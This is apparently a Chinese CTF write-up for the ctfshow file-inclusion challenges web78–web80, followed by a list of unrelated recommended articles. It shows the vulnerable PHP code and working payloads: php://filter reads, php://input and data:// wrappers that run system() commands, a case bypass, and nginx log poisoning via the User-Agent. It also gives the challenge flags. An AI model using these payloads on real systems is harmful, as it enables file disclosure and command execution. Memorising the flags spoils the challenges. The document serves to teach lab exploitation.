ctfshow-web文件包含(web78-web86)

ctfshow-web文件包含

web78

复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

由include代码执行file引入文件,如果执行不成功,就高亮显示源码

可知这就是一个没有任何过滤的文件包含的题目

方法一filter伪协议

file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

filter伪协议构造payload

复制代码
?file=php://filter/read=convert.base64-encode/resource=flag.php

得到base编码后的flag解密得到flag

复制代码
ctfshow{d03c9148-23af-48a1-92e1-ad011f98d415}
方法二:input协议

php://input 是 PHP 提供的一个伪协议,允许开发者 访问 POST 请求的原始内容。对于 POST 请求数据,PHP 提供了 _POST 与 FILES 超全局变量,在客户端发起 POST 请求时,PHP 将自动处理 POST 提交的数据并将处理结果存放至 _POST 与 FILES 中

复制代码
<?php system('ls');?>
方法三:data协议

data也是利用文件包含漏洞,将输入的代码当作php文件执行。

data协议格式:

复制代码
data://[<MIME-type>][;charset=<encoding>][;base64],<data>

构造payload:

复制代码
?file=data://text/plain,<?php system('tac f*');?>

将我们输入的当作php文件来执行,以达到读取flag的目的。

web79

复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:10:14
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

发现过滤了php小问题

data协议
复制代码
data://text/plain

使用到<?php ?>可以用<?= ?>代替

flag.php可以用*?代替部分字符

或是直接使用base64编码

复制代码
?file=data://text/plain,<?= system("tac fla*") ?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==

PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==等于<?php system('cat flag.php');
复制代码
ctfshow{e37fa4f8-13aa-40d3-a57e-dd2af3f4030e}
php://input

php用大小写绕过

复制代码
?file=Php://input
post:
<?php system('tac flag.php'); ?>

当你使用hackbar的时候,请使用raw模式发送post请求,否则服务端无法接收到post里的内容。

日志包含
复制代码
?file=/var/log/nginx/access.log

user-agent里写上

复制代码
<?php system('ls'); ?>
<?php system('tac fl0g.php'); ?>

web80

复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

解释

复制代码
首先,代码使用isset()函数检查是否存在名为'file'的GET参数。如果存在,代码将获取该参数的值并赋给变量$file。

然后,代码使用str_replace()函数对file变量进行两次替换操作。第一次替换将file变量进行两次替换操作。第一次替换将file中的php字符串替换为???,第二次替换将file中的data字符串替换为???。

最后,代码使用include()函数来包含$file变量所代表的文件。

发现是nginx服务器所以我们尝试访问这个

日志

复制代码
/var/log/nginx/access.log
相关推荐
腻害兔2 分钟前
【若依项目-产品经理视角】RuoYi-Vue-Pro 源码拆解:字典、短信、邮件、通知——后台系统的“基础设施四件套“!
java·前端·vue.js·产品经理·ai编程
CodexDave18 分钟前
MySQL事务隔离级别与MVCC机制解析
前端·数据库·mysql·nginx·性能优化·负载均衡
Ai_easygo1 小时前
AI Agent开发入门——从ReAct到Tool Calling,拆解Agent的底层运行逻辑
前端·人工智能·react.js
研☆香1 小时前
分析制作html页面,如何划分页面结构
前端
kyriewen2 小时前
我扒了最近的前端面经——2026年面试不背八股文了,考这5样
前端·面试·ai编程
IT_陈寒2 小时前
Redis的持久化配置把我坑惨了:你以为数据安全了?
前端·人工智能·后端
雨白2 小时前
掌握 NestedScrolling 嵌套滑动:手写仿知乎折叠主页
android
小徐_23332 小时前
uni-app 项目别再从零搭了!3 个 Wot UI 起手模板怎么选?
前端·uni-app
赵庆明老师3 小时前
Vben精讲:16-熟悉Vite前端工具链
前端
Xzaveir4 小时前
别把所有“认证”都塞进 AuthService:实名、一键登录与号码身份的领域拆分
android·人工智能